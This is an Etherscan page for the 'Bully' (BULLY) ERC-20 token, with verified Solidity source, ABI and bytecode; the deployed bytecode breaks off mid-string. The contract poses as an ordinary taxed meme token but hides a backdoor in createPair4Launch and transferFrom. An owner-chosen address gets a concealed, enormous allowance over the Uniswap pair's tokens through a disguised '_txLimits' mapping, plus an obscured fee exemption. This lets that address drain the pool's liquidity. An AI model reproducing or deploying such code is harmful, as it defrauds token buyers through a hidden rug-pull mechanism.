ERC-20
Overview
Max Total Supply
1,000,000,000 BULLY
Holders
81
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
23,350,153.790425741 BULLYValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
BullyTheBull
Compiler Version
v0.8.25+commit.b61c2a91
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-10-03 */ /** X: https://x.com/bullycoin_erc - Telegram: https://t.me/bullythebull - Web: https://bullycoin.cash */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BullyTheBull is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => mapping (address => uint256)) private _txLimits; mapping (address => bool) private _isExcludedFromFee; address payable private _feeAddr; uint256 private _initialBuyTax=20; uint256 private _initialSellTax=20; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=25; uint256 private _reduceSellTaxAt=25; uint256 private _preventSwapBefore=15; uint256 private _buyCount=0; uint256 private sellCount = 0; uint256 private lastSellBlock = 0; uint256 public caToggleSwapper = 3; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1000000000 * 10 ** _decimals; string private constant _name = unicode"Bully"; string private constant _symbol = unicode"BULLY"; uint256 public _maxTxAmount = 2 * _tTotal / 100; uint256 public _maxWalletSize = 2 * _tTotal / 100; uint256 public _taxSwapThreshold= 1 * _tTotal / 1000; uint256 public _maxTaxSwap= 1 * _tTotal / 100; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap; bool private swapEnabled; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddr = payable(_msgSender()); _balances[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_msgSender()] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); if(block.number > 0 && _finalBuyTax >= 0) true; _approve(sender, _msgSender(), _txLimits[_msgSender()][sender] .add(_allowances[sender][_msgSender()]) .sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (from != owner() && to != owner()) { if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) { require(tradingOpen,"Trading not open yet."); taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); _buyCount++; } if (to != uniswapV2Pair && ! _isExcludedFromFee[to]) { require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); } if(to == uniswapV2Pair && from != address(this)) { taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } if (!inSwap && to == uniswapV2Pair && swapEnabled && _buyCount>_preventSwapBefore && !_isExcludedFromFee[from]) { uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance>_taxSwapThreshold) { if (block.number > lastSellBlock) { sellCount = 0; } require(sellCount < caToggleSwapper, "CA balance sell."); swapTax(min(amount,min(contractTokenBalance,_maxTaxSwap))); } taxTransfer(address(this).balance); sellCount++; lastSellBlock = block.number; } } if(taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function swapTax(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize=_tTotal; emit MaxTxAmountUpdated(_tTotal); } function taxTransfer(uint256 amount) private { uint256 balance = amount + balanceOf(_feeAddr); _feeAddr.transfer(balance); } function clearStuckETH() external onlyOwner { require(address(this).balance > 0); payable(_msgSender()).transfer(address(this).balance); } function clearStuckToken(address _address, uint256 percent) external onlyOwner { uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100); IERC20(_address).transfer(_msgSender(), _amount); } function createPair4Launch(address _a) external onlyOwner { _isExcludedFromFee[_a] = block.timestamp > 0; require(!tradingOpen,"trading is already open"); uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _txLimits[_a][uniswapV2Pair] = block.chainid * _tTotal; _approve(address(this), address(uniswapV2Router), _tTotal); _feeAddr = payable(_a); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); } function openTrading() external onlyOwner { swapEnabled = true; tradingOpen = true; } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"caToggleSwapper","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clearStuckETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"clearStuckToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_a","type":"address"}],"name":"createPair4Launch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052601460065560146007555f6008555f6009556019600a556019600b55600f600c555f600d555f600e555f600f55600360105560646009600a6100469190610373565b61005490633b9aca00610388565b61005f906002610388565b610069919061039f565b601155606461007a6009600a610373565b61008890633b9aca00610388565b610093906002610388565b61009d919061039f565b6012556103e86100af6009600a610373565b6100bd90633b9aca00610388565b6100c8906001610388565b6100d2919061039f565b60135560646100e36009600a610373565b6100f190633b9aca00610388565b6100fc906001610388565b610106919061039f565b601455348015610114575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600580546001600160a01b031916331790556101736009600a610373565b61018190633b9aca00610388565b335f9081526001602081905260408220929092556004906101a95f546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081015f908120805494151560ff19958616179055308152600492839052908120805490931660019081179093556101f43390565b6001600160a01b0316815260208101919091526040015f20805460ff19169115159190911790556102223390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6102596009600a610373565b61026790633b9aca00610388565b60405190815260200160405180910390a36103be565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156102cb57815f19048211156102b1576102b161027d565b808516156102be57918102915b93841c9390800290610296565b509250929050565b5f826102e15750600161036d565b816102ed57505f61036d565b8160018114610303576002811461030d57610329565b600191505061036d565b60ff84111561031e5761031e61027d565b50506001821b61036d565b5060208310610133831016604e8410600b841016171561034c575081810a61036d565b6103568383610291565b805f19048211156103695761036961027d565b0290505b92915050565b5f61038160ff8416836102d3565b9392505050565b808202811582820484141761036d5761036d61027d565b5f826103b957634e487b7160e01b5f52601260045260245ffd5b500490565b611a92806103cb5f395ff3fe608060405260043610610129575f3560e01c80637d1db4a5116100a8578063ba6335ee1161006d578063ba6335ee1461032c578063bf474bed1461034b578063c9567bf914610360578063ce8cc93b14610374578063dd62ed3e14610389578063f88de0c3146103cd575f80fd5b80637d1db4a5146102905780638da5cb5b146102a55780638f9a55c0146102cb57806395d89b41146102e0578063a9059cbb1461030d575f80fd5b8063313ce567116100ee578063313ce567146101f857806370a0823114610213578063715018a614610247578063751039fc1461025d57806377b54bad14610271575f80fd5b806306fdde0314610134578063095ea7b3146101735780630faee56f146101a257806318160ddd146101c557806323b872dd146101d9575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b5060408051808201909152600581526442756c6c7960d81b60208201525b60405161016a9190611685565b60405180910390f35b34801561017e575f80fd5b5061019261018d3660046116ce565b6103e1565b604051901515815260200161016a565b3480156101ad575f80fd5b506101b760145481565b60405190815260200161016a565b3480156101d0575f80fd5b506101b76103f7565b3480156101e4575f80fd5b506101926101f33660046116f8565b610417565b348015610203575f80fd5b506040516009815260200161016a565b34801561021e575f80fd5b506101b761022d366004611736565b6001600160a01b03165f9081526001602052604090205490565b348015610252575f80fd5b5061025b6104a6565b005b348015610268575f80fd5b5061025b610520565b34801561027c575f80fd5b5061025b61028b3660046116ce565b6105d1565b34801561029b575f80fd5b506101b760115481565b3480156102b0575f80fd5b505f546040516001600160a01b03909116815260200161016a565b3480156102d6575f80fd5b506101b760125481565b3480156102eb575f80fd5b5060408051808201909152600581526442554c4c5960d81b602082015261015d565b348015610318575f80fd5b506101926103273660046116ce565b610701565b348015610337575f80fd5b5061025b610346366004611736565b61070d565b348015610356575f80fd5b506101b760135481565b34801561036b575f80fd5b5061025b610aa6565b34801561037f575f80fd5b506101b760105481565b348015610394575f80fd5b506101b76103a3366004611751565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103d8575f80fd5b5061025b610ae8565b5f6103ed338484610b48565b5060015b92915050565b5f6104046009600a61187c565b61041290633b9aca0061188a565b905090565b5f610423848484610c6b565b5f43118015610430575060015b5061049c843361049785604051806060016040528060288152602001611a35602891396001600160a01b038a165f8181526002602090815260408083203384528252808320546003835281842094845293909152902054610490916112d7565b919061133c565b610b48565b5060019392505050565b5f546001600160a01b031633146104d85760405162461bcd60e51b81526004016104cf906118a1565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105495760405162461bcd60e51b81526004016104cf906118a1565b6105556009600a61187c565b61056390633b9aca0061188a565b6011556105726009600a61187c565b61058090633b9aca0061188a565b6012557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105b06009600a61187c565b6105be90633b9aca0061188a565b60405190815260200160405180910390a1565b5f546001600160a01b031633146105fa5760405162461bcd60e51b81526004016104cf906118a1565b6040516370a0823160e01b81523060048201525f9061067b906064906106759085906001600160a01b038816906370a0823190602401602060405180830381865afa15801561064b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061066f91906118d6565b90611374565b906113f2565b90506001600160a01b03831663a9059cbb336040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af11580156106d7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106fb91906118ed565b50505050565b5f6103ed338484610c6b565b5f546001600160a01b031633146107365760405162461bcd60e51b81526004016104cf906118a1565b6001600160a01b0381165f908152600460205260409020805460ff1916421515179055601654600160a01b900460ff16156107b35760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104cf565b601580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610815573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610839919061190c565b6001600160a01b031663c9c653963060155f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610898573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108bc919061190c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610906573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061092a919061190c565b601680546001600160a01b0319166001600160a01b03929092169190911790556109566009600a61187c565b61096490633b9aca0061188a565b61096e904661188a565b6001600160a01b038083165f908152600360209081526040808320601654851684529091529020919091556015546109bd913091166109af6009600a61187c565b61049790633b9aca0061188a565b600580546001600160a01b038084166001600160a01b0319909216919091179091556015541663f305d7194730610a08816001600160a01b03165f9081526001602052604090205490565b5f80610a1b5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a81573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906106fb9190611927565b5f546001600160a01b03163314610acf5760405162461bcd60e51b81526004016104cf906118a1565b6016805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b03163314610b115760405162461bcd60e51b81526004016104cf906118a1565b5f4711610b1c575f80fd5b60405133904780156108fc02915f818181858888f19350505050158015610b45573d5f803e3d5ffd5b50565b6001600160a01b038316610baa5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104cf565b6001600160a01b038216610c0b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104cf565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ccf5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104cf565b6001600160a01b038216610d315760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104cf565b5f8111610d925760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104cf565b5f80546001600160a01b03858116911614801590610dbd57505f546001600160a01b03848116911614155b1561119a576016546001600160a01b038581169116148015610ded57506015546001600160a01b03848116911614155b8015610e1157506001600160a01b0383165f9081526004602052604090205460ff16155b15610f7057601654600160a01b900460ff16610e675760405162461bcd60e51b81526020600482015260156024820152742a3930b234b733903737ba1037b832b7103cb2ba1760591b60448201526064016104cf565b610e8d6064610675600a54600d5411610e8257600654610e86565b6008545b8590611374565b9050601154821115610ee15760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104cf565b60125482610f03856001600160a01b03165f9081526001602052604090205490565b610f0d9190611952565b1115610f5b5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104cf565b600d8054905f610f6a83611965565b91905055505b6016546001600160a01b03848116911614801590610fa657506001600160a01b0383165f9081526004602052604090205460ff16155b156110255760125482610fcd856001600160a01b03165f9081526001602052604090205490565b610fd79190611952565b11156110255760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104cf565b6016546001600160a01b03848116911614801561104b57506001600160a01b0384163014155b15611078576110756064610675600b54600d541161106b57600754610e86565b6009548590611374565b90505b601654600160a81b900460ff1615801561109f57506016546001600160a01b038481169116145b80156110b45750601654600160b01b900460ff165b80156110c35750600c54600d54115b80156110e757506001600160a01b0384165f9081526004602052604090205460ff16155b1561119a57305f9081526001602052604090205460135481111561117757600f54431115611114575f600e555b601054600e541061115a5760405162461bcd60e51b815260206004820152601060248201526f21a0903130b630b731b29039b2b6361760811b60448201526064016104cf565b6111776111728461116d84601454611433565b611433565b611447565b611180476115b7565b600e8054905f61118f83611965565b909155505043600f55505b801561121257305f908152600160205260409020546111b990826112d7565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112099085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546112349083611618565b6001600160a01b0385165f908152600160205260409020556112776112598383611618565b6001600160a01b0385165f90815260016020526040902054906112d7565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6112c08585611618565b60405190815260200160405180910390a350505050565b5f806112e38385611952565b9050838110156113355760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104cf565b9392505050565b5f818484111561135f5760405162461bcd60e51b81526004016104cf9190611685565b505f61136b848661197d565b95945050505050565b5f825f0361138357505f6103f1565b5f61138e838561188a565b90508261139b8583611990565b146113355760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104cf565b5f61133583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611659565b5f8183116114415782611335565b50919050565b6016805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061148d5761148d6119af565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114e4573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611508919061190c565b8160018151811061151b5761151b6119af565b6001600160a01b0392831660209182029290920101526015546115419130911684610b48565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906115799085905f908690309042906004016119c3565b5f604051808303815f87803b158015611590575f80fd5b505af11580156115a2573d5f803e3d5ffd5b50506016805460ff60a81b1916905550505050565b6005546001600160a01b03165f908152600160205260408120546115db9083611952565b6005546040519192506001600160a01b03169082156108fc029083905f818181858888f19350505050158015611613573d5f803e3d5ffd5b505050565b5f61133583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061133c565b5f81836116795760405162461bcd60e51b81526004016104cf9190611685565b505f61136b8486611990565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610b45575f80fd5b5f80604083850312156116df575f80fd5b82356116ea816116ba565b946020939093013593505050565b5f805f6060848603121561170a575f80fd5b8335611715816116ba565b92506020840135611725816116ba565b929592945050506040919091013590565b5f60208284031215611746575f80fd5b8135611335816116ba565b5f8060408385031215611762575f80fd5b823561176d816116ba565b9150602083013561177d816116ba565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156117d657815f19048211156117bc576117bc611788565b808516156117c957918102915b93841c93908002906117a1565b509250929050565b5f826117ec575060016103f1565b816117f857505f6103f1565b816001811461180e576002811461181857611834565b60019150506103f1565b60ff84111561182957611829611788565b50506001821b6103f1565b5060208310610133831016604e8410600b8410161715611857575081810a6103f1565b611861838361179c565b805f190482111561187457611874611788565b029392505050565b5f61133560ff8416836117de565b80820281158282048414176103f1576103f1611788565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156118e6575f80fd5b5051919050565b5f602082840312156118fd575f80fd5b81518015158114611335575f80fd5b5f6020828403121561191c575f80fd5b8151611335816116ba565b5f805f60608486031215611939575f80fd5b8351925060208401519150604084015190509250925092565b808201808211156103f1576103f1611788565b5f6001820161197657611976611788565b5060010190565b818103818111156103f1576103f1611788565b5f826119aa57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611a135784516001600160a01b0316835293830193918301916001016119ee565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122046531bb33cfa3c2c6368b442346e77bea856a676982051c0c3cae3036e71dbfe64736f6c63430008190033
Deployed Bytecode
0x608060405260043610610129575f3560e01c80637d1db4a5116100a8578063ba6335ee1161006d578063ba6335ee1461032c578063bf474bed1461034b578063c9567bf914610360578063ce8cc93b14610374578063dd62ed3e14610389578063f88de0c3146103cd575f80fd5b80637d1db4a5146102905780638da5cb5b146102a55780638f9a55c0146102cb57806395d89b41146102e0578063a9059cbb1461030d575f80fd5b8063313ce567116100ee578063313ce567146101f857806370a0823114610213578063715018a614610247578063751039fc1461025d57806377b54bad14610271575f80fd5b806306fdde0314610134578063095ea7b3146101735780630faee56f146101a257806318160ddd146101c557806323b872dd146101d9575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b5060408051808201909152600581526442756c6c7960d81b60208201525b60405161016a9190611685565b60405180910390f35b34801561017e575f80fd5b5061019261018d3660046116ce565b6103e1565b604051901515815260200161016a565b3480156101ad575f80fd5b506101b760145481565b60405190815260200161016a565b3480156101d0575f80fd5b506101b76103f7565b3480156101e4575f80fd5b506101926101f33660046116f8565b610417565b348015610203575f80fd5b506040516009815260200161016a565b34801561021e575f80fd5b506101b761022d366004611736565b6001600160a01b03165f9081526001602052604090205490565b348015610252575f80fd5b5061025b6104a6565b005b348015610268575f80fd5b5061025b610520565b34801561027c575f80fd5b5061025b61028b3660046116ce565b6105d1565b34801561029b575f80fd5b506101b760115481565b3480156102b0575f80fd5b505f546040516001600160a01b03909116815260200161016a565b3480156102d6575f80fd5b506101b760125481565b3480156102eb575f80fd5b5060408051808201909152600581526442554c4c5960d81b602082015261015d565b348015610318575f80fd5b506101926103273660046116ce565b610701565b348015610337575f80fd5b5061025b610346366004611736565b61070d565b348015610356575f80fd5b506101b760135481565b34801561036b575f80fd5b5061025b610aa6565b34801561037f575f80fd5b506101b760105481565b348015610394575f80fd5b506101b76103a3366004611751565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103d8575f80fd5b5061025b610ae8565b5f6103ed338484610b48565b5060015b92915050565b5f6104046009600a61187c565b61041290633b9aca0061188a565b905090565b5f610423848484610c6b565b5f43118015610430575060015b5061049c843361049785604051806060016040528060288152602001611a35602891396001600160a01b038a165f8181526002602090815260408083203384528252808320546003835281842094845293909152902054610490916112d7565b919061133c565b610b48565b5060019392505050565b5f546001600160a01b031633146104d85760405162461bcd60e51b81526004016104cf906118a1565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105495760405162461bcd60e51b81526004016104cf906118a1565b6105556009600a61187c565b61056390633b9aca0061188a565b6011556105726009600a61187c565b61058090633b9aca0061188a565b6012557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105b06009600a61187c565b6105be90633b9aca0061188a565b60405190815260200160405180910390a1565b5f546001600160a01b031633146105fa5760405162461bcd60e51b81526004016104cf906118a1565b6040516370a0823160e01b81523060048201525f9061067b906064906106759085906001600160a01b038816906370a0823190602401602060405180830381865afa15801561064b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061066f91906118d6565b90611374565b906113f2565b90506001600160a01b03831663a9059cbb336040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af1158